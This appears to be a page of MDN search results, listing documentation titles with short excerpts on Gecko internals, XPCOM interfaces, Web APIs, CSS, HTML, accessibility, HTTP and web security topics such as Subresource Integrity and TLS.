...this is a built-in vue directive that lets us include a loop inside of our template, repeating the rendering of a template feature for each item in an array.
...while we'll eventually add a mechanism to add new todo items, we can start with some mock to do items.
...And 13 more matches
Gecko Logging
this makes it much simpler to share a log module across multiple translation units.
... note: log module names can only contain specific characters.
... the first character must be a lowercase or uppercase ascii char, underscore, dash, or dot.
...And 13 more matches
AsyncShutdown.jsm
managing safe shutdown of asynchronous services.
...typically, each shutdown phase removes some capabilities from the application.
... for instance, at the end of phase profilebeforechange, no service is permitted to write to the profile directory (with the exception of telemetry).
...And 13 more matches
SourceMap.jsm
get a reference to the module: let sourcemap = {}; components.utils.import('resource:///modules/devtools/sourcemap.jsm', sourcemap); sourcemapconsumer a sourcemapconsumer instance represents a parsed source map which we can query for information about the original file positions by giving it a file position in the generated source.
... new sourcemapconsumer(rawsourcemap) the only parameter is the raw source map (either as a string which can be json.parse'd, or an object).
... according to the spec, source maps have the following attributes: version: which version of the source map spec this map is following.
...And 13 more matches
Scroll-linked effects
the definition of a scroll-linked effect is an effect implemented on a webpage where something changes based on the scroll position, for example updating a positioning property with the aim of producing a parallax scrolling effect.
... this article discusses scroll-linked effects, their effect on performance, related tools, and possible mitigation techniques.
... scrolling effects explained often scrolling effects are implemented by listening for the scroll event and then updating elements on the page in some way (usually the css position or transform property.) you can find a sampling of such effects at css scroll api: use cases.
...And 13 more matches
powermetrics
it is most useful for getting cpu, gpu and wakeup measurements in a precise and easily scriptable fashion (unlike activity monitor and top) especially in combination with rapl via the mach power command.
...the firefox parent process and child processes.
...change this number to get shorter or longer samples.
...And 13 more matches
Phishing: a short definition
the impact has not improved much since.
... phishing is an attempt to collect sensitive information, such as usernames, passwords, and financial details by disguising as a trustworthy entity online.
... a relatively simple, yet effective, phishing scheme is sending an email with a fake invoice of a person’s favorite shopping site.
...And 13 more matches
About NSPR
these facilities include threads, thread synchronization, normal file and network i/o, interval timing and calendar time, basic memory management (malloc and free) and shared library linking.
...it strives to not export the lowest common denominator, but to exploit the best features of each operating system on which it runs, and still provide a uniform service across a wide range of host offerings.
...nspr, while far from perfect, does provide a single api to which clients may program and expect reasonably consistent behavior.
...And 13 more matches
Creating JavaScript jstest reftests
test262 tests test262 is the implementation conformance test suite for the latest drafts of ecmascript language specification, as well as internationalization api specification and the json data interchange format.
... it is maintained by tc39, the ecmascript standard's technical committee.
...if you are contributing directly to test262, you must submit the tests in the test262 format, which you can see in the test262 git repository and read about here.
...And 13 more matches
Creating JavaScript tests
in which test suite does your new test belong?
...only add tests to these suites which test jit correctness or functionality.
... jstests automatically load js/src/tests/shell.js before they run, which creates a ton of functions.
...And 13 more matches
Getting SpiderMonkey source code
the following command line downloads the entire mozilla repository, including the full change history and a lot of gecko and firefox source code that isn't part of spidermonkey.
... it also changes to the spidermonkey directory (js/src).
... hg clone https://hg.mozilla.org/mozilla-central/ cd js/src to avoid getting the full change history, click the zip or gz links at https://hg.mozilla.org/index.cgi/mozilla-central/file/tip.
...And 13 more matches
JSErrorReport
describes the format of a js error that is used either by the internal error reporting mechanism or by a user-defined error-reporting mechanism.
... syntax jserrorreport(); properties name type description filename const char * indicates the source file or url that produced the error condition.
...this allows an attack by which a malicious website loads a sensitive file (say, a bank statement) cross-origin (using the user's cookies), and sniffs the generated syntax errors (via a window.onerror handler) for juicy morsels of its contents.
...And 13 more matches
imgIDecoderObserver
1.0 66 introduced gecko 12.0 inherits from: imgicontainerobserver last changed in gecko 1.7 we make the distinction here between "load" and "decode" notifications.
...decode notifications may or may not be synchronous, depending on the situation.
...void ondataavailable( in imgirequest arequest, in boolean acurrentframe, [const] in nsintrect arect ); parameters arequest the request on which data is available, or null if being called for an imgidecoder object.
...And 13 more matches
inIDOMUtils
inherits from: nsisupports last changed in gecko 22.0 (firefox 22.0 / thunderbird 22.0 / seamonkey 2.19) implemented by: @mozilla.org/inspector/dom-utils;1 as a service: var inidomutils = components.classes["@mozilla.org/inspector/dom-utils;1"] .getservice(components.interfaces.inidomutils); method overview void addpseudoclasslock(in nsidomelement aelement, in domstring apseudoclass); void clearpseudoclasslocks(in nsidomelement aelement); [implicit_jscontext] jsval colornametorgb(in domstring acolorname); nsiarray getbindingurls(in nsidomelement aelement); nsidomnodelist getchildrenfornode(in nsidomnode anode, in boolean ashowinganonymouscontent...
... astring getselectortext(in nsidomcssstylerule arule, in unsigned long aselectorindex); unsigned long long getspecificity(in nsidomcssstylerule arule, in unsigned long aselectorindex); nsidomfontfacelist getusedfontfaces(in nsidomrange arange); bool haspseudoclasslock(in nsidomelement aelement, in domstring apseudoclass); boolean isignorablewhitespace(in nsidomcharacterdata adatanode); bool isinheritedproperty(in astring apropertyname); void parsestylesheet(in nsidomcssstylesheet asheet, in domstring ainput); void removepseudoclasslock(in nsidomelement aelement, in domstring apseudoclass); astring rgbtocolorname(in octet ar, in octet ag, in octet ab); bool selectormatcheselement(in nsidomelement aelement, in n...
... return value an array of nsiuri objects representing the current xbl binding (if any) for the element and its hierarchy of base bindings.
...And 13 more matches
nsIAccessibleSelectable
accessible/public/nsiaccessibleselectable.idlscriptable an interface for the accessibility module and in-process accessibility clients for dealing with getting and changing the selection of accessible nodes.
... inherits from: nsisupports last changed in gecko 1.7 method overview void addchildtoselection(in long index); void clearselection(); nsiarray getselectedchildren(); boolean ischildselected(in long index); nsiaccessible refselection(in long index); void removechildfromselection(in long index); boolean selectallselection(); attributes attribute type description selectioncount long the number of accessible children currently selected.
... constants constant value description eselection_add 0 eselection_remove 1 eselection_getstate 2 methods addchildtoselection() adds the specified accessible child of the object to the object's selection.
...And 13 more matches
nsIClipboard
widget/nsiclipboard.idlscriptable this interface supports basic clipboard operations such as: setting, retrieving, emptying, matching and supporting clipboard data.
... inherits from: nsisupports last changed in gecko 30.0 (firefox 30.0 / thunderbird 30.0 / seamonkey 2.27) method overview void emptyclipboard(in long awhichclipboard); void forcedatatoclipboard(in long awhichclipboard); obsolete since gecko 1.8 void getdata(in nsitransferable atransferable, in long awhichclipboard); boolean hasdatamatchingflavors([array, size_is(alength)] in string aflavorlist, in unsigned long alength, in long awhichclipboard); void setdata(in nsitransferable atransferable, in nsiclipboardowner anowner, in long awhichclipboard); boolean supportsselectionclipboard(); boolean supportsfindclipboard(); constants most clipboard operations in firefox use kglobalclipboard, which is the one also used by th...
... the kselectionclipboard is peculiar to the x windows system, where it refers to the primary selection, which is the one that simple mouse selection and middle-click paste operations are using.
...And 13 more matches
nsIEventTarget
events may be sent to this target from any thread by calling the dispatch method.
... 1.0 66 introduced gecko 1.6 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method overview void dispatch(in nsirunnable event, in unsigned long flags); boolean isoncurrentthread(); void postevent(in pleventptr aevent); native code only!
... obsolete since gecko 1.9 constants dispatch flags constant value description dispatch_normal 0 this flag specifies the default mode of event dispatch, whereby the event is simply queued for later processing.
...And 13 more matches
nsIExternalProtocolService
uriloader/exthandler/nsiexternalprotocolservice.idlscriptable the external protocol service is used for finding and launching web handlers (a la registerprotocolhandler in the html5 draft) or platform-specific applications for handling particular protocols.
... inherits from: nsisupports last changed in gecko 1.9 (firefox 3) you can ask the external protocol service if it has an external handler for a given protocol scheme.
...method overview boolean externalprotocolhandlerexists(in string aprotocolscheme); astring getapplicationdescription(in autf8string ascheme); nsihandlerinfo getprotocolhandlerinfo(in acstring aprotocolscheme); nsihandlerinfo getprotocolhandlerinfofromos(in acstring aprotocolscheme, out boolean afound); boolean isexposedprotocol(in string aprotocolscheme); void loaduri(in nsiuri auri, [optional] in nsiinterfacerequestor awindowcontext); void loadurl(in nsiuri aurl); void setprotocolhandlerdefaults(in nsihandlerinfo ahandlerinfo, in boolean aoshandlerexists); methods externalprotocolhandlerexists() check whether a handler for a specific protocol exists.
...And 13 more matches
nsINavHistoryService
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 22 (firefox 22 / thunderbird 22 / seamonkey 2.19) implemented by: "@mozilla.org/browser/nav-history-service;1".
...ng aresultcount, out nsinavhistoryqueryoptions options); autf8string queriestoquerystring([array, size_is(aquerycount)] in nsinavhistoryquery aqueries, in unsigned long aquerycount, in nsinavhistoryqueryoptions options); void addobserver(in nsinavhistoryobserver observer, in boolean ownsweak); void removeobserver(in nsinavhistoryobserver observer); void runinbatchmode(in nsinavhistorybatchcallback acallback, in nsisupports aclosure); void importhistory(in nsifile file); astring getcharsetforuri(in nsiuri auri); astring setcharsetforuri(in nsiuri auri, in astring acharset); attributes attribute type description hashistoryentries boolean true if there is any history.
...this is much better than using browserhistory.count since that can be very slow if there is a lot of history (it must enumerate each item).
...And 13 more matches
nsIPrincipal
caps/nsiprincipal.idlscriptable provides the interface to a principal, which represents a security context.
... on the web, for example, a typical principal is comprised of an url scheme, host, and port.
... inherits from: nsiserializable last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) for details on principals, how they work, and how to get the appropriate one, see security check basics.
...And 13 more matches
nsIWebBrowserFind
embedding/components/find/public/nsiwebbrowserfind.idlscriptable searches for text in a web browser.
... inherits from: nsisupports last changed in gecko 1.7 get one by doing a getinterface on an nsiwebbrowser.
... by default, the implementation will search the focused frame, or if there is no focused frame, the web browser content area.
...And 13 more matches
ctypes
instead, they convert to objects of the wrapper types ctypes.int64 and ctypes.uint64, which are javascript objects rather than cdata objects.
... character types character types are 8-bit values that behave like their c counterparts.
... for example, ctypes.char.array(30)(str) converts the string str to utf-8 and returns a new cdata object of array type.
...And 13 more matches
DOM Inspector FAQ - Firefox Developer Tools
the file menu contains approaches which will allow you to inspect a document.
... inspect chrome document inspect application chrome, including open xul windows, e.g., the browser window.
... inspect a url this just focuses the dom inspector's address bar, which allow you to inspect arbitrary documents which can be accessed via a url.
...And 13 more matches
DOM Inspector internals - Firefox Developer Tools
this is the two-pane inspector that appears when ctrl+shift+i (or cmd+shift+i) is pressed from one of the applications for which dom inspector has explicit support (i.e., menuitems placed via overlay).
... besides the dom inspector's primary ui, there are a couple other top-level inspectors which differ slightly (the object inspector and dom inspector sidebar used in seamonkey).
...one panel reacts to changes to the inspected document, and the other panel reacts to changes to the selection in the first panel.
...And 13 more matches
Browser Console - Firefox Developer Tools
but while the web console executes code in the page window scope, the browser console executes them in the scope of the browser's chrome window.
...to enable it set the devtools.chrome.enabled preference to true in about:config, or set the "enable browser chrome and add-on debugging toolboxes" (firefox 40 and later) option in the developer tool settings.
... you can also start the browser console by launching firefox from the command line and passing the -jsconsole argument: /applications/firefoxaurora.app/contents/macos/firefox-bin -jsconsole the browser console looks like this: you can see that the browser console looks and behaves very much like the web console: most of the window is occupied by a pane that display messages.
...And 13 more matches
Tutorial: Show Allocations Per Call Path - Firefox Developer Tools
visit the url about:config, and set the devtools.chrome.enabled preference to true: setting the 'devtools.chrome.enabled' preference open a developer scratchpad (menu button > developer > scratchpad), and select "browser" from the "environment" menu.
... (this menu will not be present unless you have changed the preference as explained above.) selecting the 'browser' context in the scratchpad enter the following code in the scratchpad: // this simply defines the 'debugger' constructor in this // scratchpad; it doesn't actually start debugging anything.
... window.demotrackallocations = function() { dbg = new debugger; // this makes hacking on the demo *much* more // pleasant.
...And 13 more matches
Document.cookie - Web APIs
WebAPIDocumentcookie
note that each key and value may be surrounded by whitespace (space and tab characters): in fact, rfc 6265 mandates a single space after each semicolon, but some user agents may not abide by this.
...contrary to earlier specifications, leading dots in domain names are ignored, but browsers may decline to set the cookie containing such dots.
... note: the domain must match the domain of the javascript origin.
...And 13 more matches
Element: mousewheel event - Web APIs
the obsolete and non-standard mousewheel event is fired asynchronously at an element to provide updates while a mouse wheel or similar device is operated.
... bubbles yes cancelable yes interface mousewheelevent event handler property onmousewheel the detail property the value of the detail property is always zero, except in opera, which uses detail similarly to the firefox-only dommousescroll event's detail value, which indicates the scroll distance in terms of lines, with negative values indicating the scrolling movement is either toward the bottom or toward the right, and positive values indicating scrolling to the top or left.
... wheeldelta, wheeldeltax and wheeldeltay value the wheeldelta attribute value is an abstract value which indicates how far the wheel turned.
...And 13 more matches
Element.querySelectorAll() - Web APIs
the element method queryselectorall() returns a static (not live) nodelist representing a list of elements matching the specified group of selectors which are descendants of the element on which the method was called.
... syntax elementlist = parentnode.queryselectorall(selectors); parameters selectors a domstring containing one or more selectors to match against.
... note: characters which are not part of standard css syntax must be escaped using a backslash character.
...And 13 more matches
Ajax navigation example - Web APIs
to see how it works, please create the following files (or git clone https://github.com/giabao/mdn-ajax-nav-example.git ): note: for fully integrating the <form> elements within this mechanism, please take a look at the paragraph submitting forms and uploading files.
... first_page.php: <?php $page_title = "first page"; $as_json = false; if (isset($_get["view_as"]) && $_get["view_as"] == "json") { $as_json = true; ob_start(); } else { ?> <!doctype html> <html> <head> <?php include "include/header.php"; echo "<title>" .
..."</title>"; ?> </head> <body> <?php include "include/before_content.php"; ?> <p>this paragraph is shown only when the navigation starts from <strong>first_page.php</strong>.</p> <div id="ajax-content"> <?php } ?> <p>this is the content of <strong>first_page.php</strong>.</p> <?php if ($as_json) { echo json_encode(array("page" => $page_title, "content" => ob_get_clean())); } else { ?> </div> <p>this paragraph is shown only when the navigation starts from <strong>first_page.php</strong>.</p> <?php include "include/after_content.php"; echo "</body>\n</html>"; } ?> second_page.php: <?php $page_title = "second page"; $as_json = false; if (isset($_get["view_as"]) && $_get["view_as"] == "json") { $as_json = tr...
...And 13 more matches
IndexedDB API - Web APIs
this api uses indexes to enable high-performance searches of this data.
...if you'd prefer a simple api, try libraries such as localforage, dexie.js, zangodb, pouchdb, idb, idb-keyval, jsstore and lovefield that make indexeddb more programmer-friendly.
...however, unlike sql-based rdbmses, which use fixed-column tables, indexeddb is a javascript-based object-oriented database.
...And 13 more matches
MediaMetadata - Web APIs
the mediametadata interface of the the media session api provides allows a web page to provide rich media metadata for display in a platform ui.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetmediametadata experimentalchrome full support 57edge no support nofirefox full support 71ie no support noopera full support yessafari ?
...And 13 more matches
NavigationPreloadManager - Web APIs
await self.registration.navigationpreload.enable(); } }()); }); using a preloaded response the following example shows the implementation of a fetch event that uses a preloaded response.
... addeventlistener('fetch', event => { event.respondwith(async function() { // respond from the cache if we can const cachedresponse = await caches.match(event.request); if (cachedresponse) return cachedresponse; // else, use the preloaded response, if it's there const response = await event.preloadresponse; if (response) return response; // else try the network.
... return fetch(event.request); }()); }); specifications specification status comment service workersthe definition of 'navigationpreloadmanager' in that specification.
...And 13 more matches
PerformanceResourceTiming - Web APIs
an application can use the timing metrics to determine, for example, the length of time it takes to fetch a specific resource, such as an xmlhttprequest, <svg>, image, or script.
... the interface's properties create a resource loading timeline with high-resolution timestamps for network events such as redirect start and end times, fetch start, dns lookup start and end times, response start and end times, etc..
... additionally, the interface extends performanceentry with other properties which provide data about the size of the fetched resource as well as the type of resource that initiated the fetch.
...And 13 more matches
PhotoCapabilities - Web APIs
the photocapabilities interface of the the mediastream image capture api provides available configuration options for an attached photographic device.
... example the following example, extracted from chrome's image capture / photo resolution sample, uses the results from getphotocapabilities() to modify the size of an input range.
... return imagecapture.getphotocapabilities(); }) .then(photocapabilities => { const settings = imagecapture.track.getsettings(); input.min = photocapabilities.imagewidth.min; input.max = photocapabilities.imagewidth.max; input.step = photocapabilities.imagewidth.step; return imagecapture.getphotosettings(); }) .then(photosettings => { input.value = photosettings.imagewidth; }) .catch(error => console.log('argh!', error.name || error)); specifications specification status comment mediastream image capturethe definition of 'photocapabilities' in that specification.
...And 13 more matches
Resource Timing API - Web APIs
an application can use the timing metrics to determine, for example, the length of time it takes to load a specific resource, such as an xmlhttprequest, <svg>, image, or script.
... the interface's properties create a resource loading timeline with high-resolution timestamps for network events such as redirect start and end times, dns lookup start and end times, request start, response start and end times, etc.
... the interface also includes other properties that provide data about the size of the fetched resource as well as the type of resource that initiated the fetch.
...And 13 more matches
Screen Wake Lock API - Web APIs
it allows for a simple platform based solution which up until now could only be achieved via workarounds which were potentially power hungry.
...a request may be rejected for a number of reasons, including system settings (such as power save mode or low battery level) or if the document is not active or visible.
... the sentinel is attached to the underlying system wake lock.
...And 13 more matches
TextEncoder.prototype.encodeInto() - Web APIs
return value a textencoderencodeintoresult dictionary, which contains two members: read the number of utf-16 units of code from the source that has been converted over to utf-8.
...if the output allocation (typically within wasm heap) is expected to be short-lived, it makes sense to simply allocate s.length * 3 bytes for the output, in which case the first conversion attempt is guaranteed to convert the whole string.
... note that the s.length * 3 is rare because the string would have to be packed with some of the few characters that expant into 3 bytes.
...And 13 more matches
Introduction to the Real-time Transport Protocol (RTP) - Web APIs
the real-time transport protocol (rtp), defined in rfc 3550, is an ietf standard protocol to enable real-time connectivity for exchanging data that needs real-time priority.
... note: webrtc actually uses srtp (secure real-time transport protocol) to ensure that the exchanged data is secure and authenticated as appropriate.
... since rtp is simply a data transport, it is augmented by the closely-related rtp control protocol (rtcp), which is defined in rfc 3550, section 6.
...And 13 more matches
Web Locks API - Web APIs
the web locks api allows scripts running in one tab or worker to asynchronously acquire a lock, hold it while work is performed, then release it.
... while held, no other script executing in the same origin can acquire the same lock, which allows a web app running in multiple tabs or workers to coordinate work and the use of resources.
... web locks concepts and usage a lock is an abstract concept representing some potentially shared resource, identified by a name chosen by the web app.
...And 13 more matches
Using the Web Storage API - Web APIs
the web storage api provides mechanisms by which browsers can securely store key/value pairs.
... this article provides a walkthrough of how to make use of this technology.
... the two mechanisms within web storage are as follows: sessionstorage maintains a separate storage area for each given origin that's available for the duration of the page session (as long as the browser is open, including page reloads and restores).
...And 13 more matches
XRInputSource - Web APIs
the webxr device api's xrinputsource interface describes a single source of control input which is part of the user's webxr-compatible virtual or augmented reality system.
... the device is specific to the platform being used, but provides the direction in which it is being aimed and optionally may generate events if the user triggers performs actions using the device.
... gripspaceread only an xrspace whose origin tracks the pose which is used to render objects which should appear as if they're held in the hand indicated by handedness.
...And 13 more matches
WAI-ARIA Roles - Accessibility
if the user is expected to close the alert, then the alertdialog role should be used instead.aria: application rolethe application role indicates to assistive technologies that an element and all of its children should be treated similar to a desktop application, and no traditional html interpretation techniques should be used.
...it is usually set on related content items such as comments, forum posts, newspaper articles or other items grouped together on one page.aria: banner rolea banner role represents general and informative content frequently placed at the beginning of the page.
... this usually includes a logo, company name, search icon, photo related to the page, or slogan.aria: button rolethe button role should be used for clickable elements that trigger a response when activated by the user.
...And 13 more matches
ARIA - Accessibility
accessible rich internet applications (aria) is a set of attributes that define ways to make web content and web applications (especially those developed with javascript) more accessible to people with disabilities.
... it supplements html so that interactions and widgets commonly used in applications can be passed to assistive technologies when there is not otherwise a mechanism.
... many of these widgets were later incorporated into html5, and developers should prefer using the correct semantic html element over using aria, if such an element exists.
...And 13 more matches
Accessibility and Spacial Patterns - Accessibility
spatial localization nasa conducted research on the perception of color, and found that luminance contrast mattered greatly as to how they were perceived.
... the two images below are from nasa research, specifically, from the article, "designing with blue" "spatial localization.
... symbols which have the same luminance as their background are perceptually less securely located in space and time than are symbols with higher luminance contrast.
...And 13 more matches
The stacking context - CSS: Cascading Style Sheets
this occurs because these elements have special properties which cause them to form a stacking context.
... element that is a child of a flex (flexbox) container, with z-index value other than auto.
... element that is a child of a grid (grid) container, with z-index value other than auto.
...And 13 more matches
align-items - CSS: Cascading Style Sheets
the css align-items property sets the align-self value on all direct children as a group.
... syntax /* basic keywords */ align-items: normal; align-items: stretch; /* positional alignment */ /* align-items does not take left and right values */ align-items: center; /* pack items around the center */ align-items: start; /* pack items from the start */ align-items: end; /* pack items from the end */ align-items: flex-start; /* pack flex items from the start */ align-items: flex-end; /* pack flex items from the end */ /* baseline alignment */ align-items: b...
...low alignment (for positional alignment only) */ align-items: safe center; align-items: unsafe center; /* global values */ align-items: inherit; align-items: initial; align-items: unset; values normal the effect of this keyword is dependent of the layout mode we are in: in absolutely-positioned layouts, the keyword behaves like start on replaced absolutely-positioned boxes, and as stretch on all other absolutely-positioned boxes.
...And 13 more matches
font - CSS: Cascading Style Sheets
WebCSSfont
constituent properties this property is a shorthand for the following css properties: font-family font-size font-stretch font-style font-variant font-weight line-height syntax the font property may be specified as either a single keyword, which will select a system font, or as a shorthand for various font-related properties.
... if font is specified as a shorthand for several font-related properties, then: it must include values for: <font-size> <font-family> it may optionally include values for: <font-style> <font-variant> <font-weight> <font-stretch> <line-height> font-style, font-variant and font-weight must precede font-size font-variant may only specify the values defined in css 2.1, that is normal and small-caps font-stretch may only be a single keyword value.
... <'font-stretch'> see the font-stretch css property.
...And 13 more matches
max-width - CSS: Cascading Style Sheets
WebCSSmax-width
itednopercentagesrefer to the width of the containing blockcomputed valuethe percentage as specified or the absolute length or noneanimation typea length, percentage or calc(); formal syntax auto | <length> | <percentage> | min-content | max-content | fit-content(<length-percentage>)where <length-percentage> = <length> | <percentage> examples setting max width in pixels in this example, the "child" will be either 150 pixels wide or the width of the "parent," whichever is smaller.
... html <div id="parent"> <div id="child"> fusce pulvinar vestibulum eros, sed luctus ex lobortis quis.
... </div> </div> css #parent { background: lightblue; width: 300px; } #child { background: gold; width: 100%; max-width: 150px; } result specifications specification status comment css box sizing module level 4the definition of 'max-width' in that specification.
...And 13 more matches
Mobile Web Development - Developer guides
WebGuideMobile
this page provides an overview of some of the main techniques needed to design web sites that work well on mobile devices.
... designing for mobile devices mobile devices have quite different hardware characteristics compared with desktop or laptop computers.
... their screens are usually smaller, obviously, but they also usually automatically switch the screen orientation between portrait and landscape mode as the user rotates the device.
...And 13 more matches
<input type="submit"> - HTML: Hypertext Markup Language
WebHTMLElementinputsubmit
<input type="submit" value="send request"> value a domstring used as the button's label events click supported common attributes type and value idl attributes value methods none value an <input type="submit"> element's value attribute contains a domstring which is displayed as the button's label.
... <input type="submit" value="send request"> if you don't specify a value, the button will have a default label, chosen by the user agent.
...s label is likely to be something along the lines of "submit" or "submit query." here's an example of a submit button with a default label in your browser: <input type="submit"> additional attributes in addition to the attributes shared by all <input> elements, submit button inputs support the following attributes: attribute description formaction the url to which to submit the form's data; overrides the form's action attribute, if any formenctype a string specifying the encoding type to use for the form data formmethod the http method (get or post) to use when submitting the form.
...And 13 more matches
<th> - HTML: Hypertext Markup Language
WebHTMLElementth
some user-agents, such as speech readers, may present this description before the content itself.
... headers this attribute contains a list of space-separated strings, each corresponding to the id attribute of the <th> elements that apply to this element.
... justify (with text only): the content is stretched out inside the cell so that it covers its entire width.
...And 13 more matches
Identifying resources on the Web - HTTP
each resource is identified by a uniform resource identifier (uri) used throughout http for identifying resources.
... urls and urns urls the most common form of uri is the uniform resource locator (url), which is known as the web address.
... https://developer.mozilla.org https://developer.mozilla.org/docs/learn/ https://developer.mozilla.org/search?q=url any of those urls can be typed into your browser's address bar to tell it to load the associated page (resource).
...And 13 more matches
CSP: img-src - HTTP
csp version 1 directive type fetch directive default-src fallback yes.
... syntax one or more sources can be allowed for the img-src policy: content-security-policy: img-src <source>; content-security-policy: img-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url scheme and/or port number.
... the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source.
...And 13 more matches
Functions - JavaScript
if the function changes the value of an argument, this change is not reflected globally or in the calling function.
... however, object references are values, too, and they are special: if the function changes the referred object's properties, that change is visible outside the function, as shown in the following example: /* declare the function 'myfunc' */ function myfunc(theobject) { theobject.brand = "toyota"; } /* * declare variable 'mycar'; * create and initialize a new object; * assign reference to it to 'mycar' */ var mycar = { brand: "honda", model: "accord", year: 1998 }; /* logs 'honda' */ console.log(mycar.brand); /* pass object reference to the function */ myfunc(mycar); /* * logs 'toyota' as the value of the 'brand' property * of the object, as changed to by the function.
...can be omitted, in which case the function becomes known as an anonymous function.
...And 13 more matches
Array.prototype.indexOf() - JavaScript
the indexof() method returns the first index at which a given element can be found in the array, or -1 if it is not present.
... syntax arr.indexof(searchelement[, fromindex]) parameters searchelement element to locate in the array.
... fromindex optional the index to start the search at.
...And 13 more matches
Array.prototype.map() - JavaScript
each time callback executes, the returned value is added to new_array.
... return value a new array with each element being the result of the callback function.
... description map calls a provided callback function once for each element in an array, in order, and constructs a new array from the results.
...And 13 more matches
Animation performance and frame rate - Web Performance
for animated media, such as video and animated gifs, the main performance concern is file size - downloading the file size fast enough to not negatively impact performance is the greatest issue.
... the developer tool's frame rate and waterfall charts provide insight into the work the browser is performing to animate code.
... with css animations you specify a number of keyframes, each of which uses css to define the appearance of the element at a particular stage of the animation.
...And 13 more matches
begin - SVG: Scalable Vector Graphics
WebSVGAttributebegin
each individual value can be one of the following : <offset-value>, <syncbase-value>, <event-value>, <repeat-value>, <accesskey-value>, <wallclock-sync-value> or the keyword indefinite.
...each value can be one of the following: <offset-value> this value defines a clock-value that represents a point in time relative to the beginning of the svg document (usually the load or domcontentloaded event).
... a valid syncbase-value consists of an id reference to another animation element followed by a dot and either begin or end to identify whether to synchronize with the beginning or active end of the referenced animation element.
...And 13 more matches
Subresource Integrity - Web security
subresource integrity (sri) is a security feature that enables browsers to verify that resources they fetch (for example, from a cdn) are delivered without unexpected manipulation.
... it works by allowing you to provide a cryptographic hash that a fetched resource must match.
... note: for subresource-integrity verification of a resource served from an origin other than the document in which it’s embedded, browsers additionally check the resource using cross-origin resource sharing (cors), to ensure the origin serving the resource allows it to be shared with the requesting origin.
...And 13 more matches
Transport Layer Security - Web security
the transport layer security (tls) protocol is the standard for enabling two networked applications or devices to exchange information privately and robustly.
... applications that use tls can choose their security parameters, which can have a substantial impact on the security and reliability of data.
... history when https was introduced, it was based on secure sockets layer (ssl) 2.0, a technology introduced by netscape.
...And 13 more matches
Tutorials
these resources are created by forward-thinking companies and web developers who have embraced open standards and best practices for web development and that provide or allow translations, through an open content license such as creative commons.
... html challenges use these challenges to hone your html skills (for example, "should i use an <h2> element or a <strong> element?"), focusing on meaningful markup.
... html tables representing tabular data on a webpage in an understandable, accessible way can be a challenge.
...And 13 more matches
Bounding volume collision detection with THREE.js - Game development
usually we will want this aabb to be "linked" to an object in our 3d world (like a character.) in three.js, geometry instances have a boundingbox property with min and max boundaries for the object.
...so any transformations such as scale, position, etc.
... a more simple alternative that fixes the previous issue is to set those boundaries later on with box3.setfromobject, which will compute the dimensions taking into account a 3d entity's transformations and any child meshes as well.
...And 12 more matches
Type, class, and ID selectors - Learn web development
previous overview: building blocks next in this lesson we will take a look at the simplest selectors that are available, which you will probably use the most in your work.
... try adding a css rule to select the <h1> element and change its color to blue.
... the universal selector the universal selector is indicated by an asterisk (*) and selects everything in the document (or inside the parent element if it is being chained together with another element and a descendant combinator).
...And 12 more matches
CSS selectors - Learn web development
it is a pattern of elements and other terms that tell the browser which html elements should be selected to have the css property values inside the rule applied to them.
... the element or elements which are selected by the selector are referred to as the subject of the selector.
... in earlier articles you met some different selectors, and learned that there are selectors that target the document in different ways — for example by selecting an element such as h1, or a class such as .special.
...And 12 more matches
CSS FAQ - Learn web development
LearnCSSHowtoCSS FAQ
why doesn't my css, which is valid, render correctly?
... browsers use the doctype declaration to choose whether to show the document using a mode that is more compatible with web standards or with old browser bugs.
...given that each modern browser uses an html5 parser, this is the recommended doctype */ <!doctype html public "-//w3c//dtd html 4.0 transitional//en" "http://www.w3.org/tr/html4/loose.dtd"> <!doctype html public "-//w3c//dtd html 4.01//en" "http://www.w3.org/tr/html4/strict.dtd"> <!doctype html public "-//w3c//dtd xhtml 1.0 transitional//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitio...
...And 12 more matches
create fancy boxes - Learn web development
making them nice looking is both fun and challenging.
... it's fun because it's all about turning a design idea into working code; it's challenging because of annoying constraints and crazy freedom in the use of css.
... on the technical side, creating fancy boxes are all about mastering css border and background properties and how to apply them to a given box.
...And 12 more matches
How do I use GitHub Pages? - Learn web development
publishing content github is a very important and useful community to get involved in, and git/github is a very popular version control system — most tech companies now use it in their workflow.
... github has a very useful feature called github pages, which allows you to publish website code live on the web.
... basic github setup first of all, install git on your machine.
...And 12 more matches
Sending forms through JavaScript - Learn web development
this article explores such approaches.
...let's first talk about why this requires a different approach.
... gaining control of the global interface standard html form submission, as described in the previous article, loads the url where the data was sent, which means the browser window navigates with a full page load.
...And 12 more matches
Mozilla splash page - Learn web development
previous overview: multimedia and embedding in this assessment, we'll test your knowledge of some of the techniques discussed in this module's articles, getting you to add some images and video to a funky splash page all about mozilla!
... objective: to test knowledge around embedding images and video in web pages, frames, and html responsive image techniques.
... alternatively, you could use an online tool such as glitch to create your example.
...And 12 more matches
Multimedia: Images - Learn web development
prerequisites: basic computer literacy, basic software installed, and basic knowledge of client-side web technologies.
... this is a high-level introduction to optimizing multimedia delivery on the web, covering general principles and techniques.
... optimizing image delivery despite being the largest consumer of bandwidth, images load asynchronously so the visitor can see the page as they download and therefore, their impact on perceived performance is far lower than many expect.
...And 12 more matches
Ember resources and troubleshooting - Learn web development
a deeper understanding of modern javascript features (such as classes, modules, etc), will be extremely beneficial, as ember makes heavy use of them.
... further resources ember.js guides tutorial: super rentals ember.js api documentation ember.js discord server — a forum/chat server where you can meet the ember community, ask for help, and help others!
... general troubleshooting, gotchas, and misconceptions this is nowhere near an extensive list, but it is a list of things that came up around the time of writing (latest update, may 2020).
...And 12 more matches
Ember app structure and componentization - Learn web development
a deeper understanding of modern javascript features (such as classes, modules, etc), will be extremely beneficial, as ember makes heavy use of them.
...to start with, delete the contents of application.hbs and replace them with the following: <section class="todoapp"> <h1>todos</h1> <input class="new-todo" aria-label="what needs to be done?" placeholder="what needs to be done?" autofocus > </section> note: aria-label provides a label for assistive technology to make use of — for example, for a screenreader to read out.
